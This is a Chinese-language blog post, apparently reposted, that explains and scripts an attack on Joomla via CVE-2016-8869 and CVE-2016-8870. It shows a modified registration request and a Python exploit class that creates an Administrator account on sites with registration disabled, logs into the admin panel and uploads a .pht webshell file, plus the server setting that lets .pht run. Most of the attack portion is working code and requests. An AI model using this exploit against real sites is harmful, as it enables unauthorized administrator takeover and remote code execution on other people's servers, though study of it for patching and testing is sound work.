Joomla未授權創建特權用戶漏洞和getshell腳本解析


0x00 簡述

兩個漏洞編號分別是CVE-2016-8869 CVE-2016-8870
漏洞利用描述:在網站關閉注冊的情況下,繞過驗證直接注冊特權用戶,登錄設置允許的上傳后綴等參數(但是我的環境中Administrator沒有設置的權限),然后配合上傳pht文件獲取webshell。

漏洞成因:兩個注冊函數,默認使用的注冊函數中UsersControllerRegistration::register():有檢查是否允許注冊
而另一個函數中UsersControllerUser::register()沒有這樣的檢查

測試環境: xampp,php5.6.24,kali2.0,owasp zap

0x01手工測試

需要修改的地方有兩處:jform[username] ==> user[username] ,registration.register -> user.register

首先抓正常注冊的包

-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[name]"

asd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[username]"

asd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[password1]"

asdd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[password2]"

asdd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[email1]"

asd@asd.com
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[email2]"

asd@asd.com
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="option"

com_users
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="task"

registration.register
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="f9f7b49b2a156a316d79daf453138745"  //token

1
-----------------------------1248058223232754271732747274--

修改后發包,成功注冊。
場景:用戶先訪問了登錄表單,然后接着提交注冊表單,使用同一個session。

0x02腳本編寫

包中需要修改的參數有:用戶名,密碼,郵箱,還有token
由於網站關閉了注冊功能不能到注冊表單去抓token,但其實使用登錄表單的token也可以
requests.Session可以自動處理cookie問題。


token

#注冊url和登錄url
reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
form_url=self.base_url+"/index.php/component/users/?view=login"
#建立session
sess=requests.Session()
sess.get(form_url)
sess.post(reg_url,data=data)

解析token
由於登錄表單中只要一個token,就不用解析HTML的方法了,直接使用正則匹配

match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)

遇到的坑 :

1,其實url中末尾的task參數不用改成user.register也可以成功

2,注冊賬戶的腳本中 我在頁面中找到的url是http://localhost/Joomla_344/index.php/log-out?view=registration

經手工改包測試注冊成功(但是頁面顯示出錯誤),腳本測試不成功

看到pwn中的url地址是 http://localhost/Joomla_344/index.php/component/users/?task=user.register

換成這個成功注冊

3,最后上傳文件的時候需要images文件夾要有寫的權限

漏洞的分析可以看seebug的兩篇paper
http://paper.seebug.org/88/
http://paper.seebug.org/86/
網上關於這個漏洞的利用工具
https://www.exploit-db.com/exploits/40637/
我的代碼也是參照這個大牛的代碼寫的,關於編程的風格和錯誤處理方面都有很多值得學習的地方
我寫的代碼只能登錄和注冊,上傳測試還不成功。

import requests
import re
from bs4 import BeautifulSoup
import random
class cms_user :
	def __init__(self,base_url,username,password,email,exploit_file='filthyc0w.pht'):
		self.username = username
		self.password = password
		self.base_url = base_url
		self.email    = email
		self.exploit_file = open(exploit_file,"r")
	def joomla_login(self):
		#input base_url
		#return bool
		sess=requests.Session()
		admin_url=self.base_url+'/administrator/index.php'
		resp=sess.get(admin_url)
		token=self.extract_token(resp)
		data = {
			'username': self.username,
			'passwd': self.password,
			'task': 'login',
			token: '1'
		}
		res=sess.post(admin_url,data=data)
		if "Administration - Control Panel" not in res.content:
			print "Login Fail"
			return False
		print "Login Sucess"
		print "username : "+self.username
		return sess

	def extract_token(self,resp):
		match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)
		if match is None:
			print "not found token" 
			return None		
		print "get token: %s" % match.group(1)
		return match.group(1)

	def joomla_register(self):
		reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
		form_url=self.base_url+"/index.php/component/users/?view=login"
		print reg_url
		sess=requests.Session()
		resp=sess.get(form_url)
		token=self.extract_token(resp)
		data={
		"user[name]":self.username,
		"user[username]":self.username,
		"user[password1]":self.password,
		"user[password2]":self.password,
		"user[email1]": self.email,
		"user[email2]": self.email,
		'user[groups][]': '7',	# Yay, Administrator!
		# Sometimes these will be overridden
		'user[activation]': '0',
		'user[block]': '0',
		'option': 'com_users',
		'task': 'user.register',
		token: '1',
		}
		reg=sess.post(reg_url,data=data)
		print reg.status_code

	def upload_file(self,sess):
		upload_form_url=self.base_url+"/administrator/index.php?option=com_media&folder="
		resp=sess.get(upload_form_url)
		form_tag=BeautifulSoup(resp.content,"lxml").find("form",id="uploadForm")
		if not form_tag:
			print "Form_upload can't found"
			return False
		upload_url=form_tag.get("action")+"&folder=hack"
		print upload_url
		filename=get_random_name()
		print filename
		file={"Filedata[]": ( filename , self.exploit_file , 'application/octet-stream')} #pht test image/pht
		data=dict(folder="hack")
		resp=sess.post(upload_url,files=file,data=data)
		if filename not in resp.content:
			print("[!] Failed to upload file!")
			return False
def get_random_name():
	name=""
	for i in range(7):
		name+=chr(random.randint(65,90))
	return name+'.pht'

使用exploit-db的腳本

shell.pht 中是<?= phpinfo(); 以<?php 開頭會過濾
經測試 這樣的標簽也不好用,而且在php7中已經移除了

上傳shell 的配置
在/etc/httpd.conf 需要配置 作者說在很多主機中都是這么用的,算是一種繞過的方法,反正我的xampp套裝里沒有這個配置。不加這一段是不會成功的。

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

![](http://images2015.cnblogs.com/blog/796790/201611/796790-20161105163410533-1291988718.png)



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM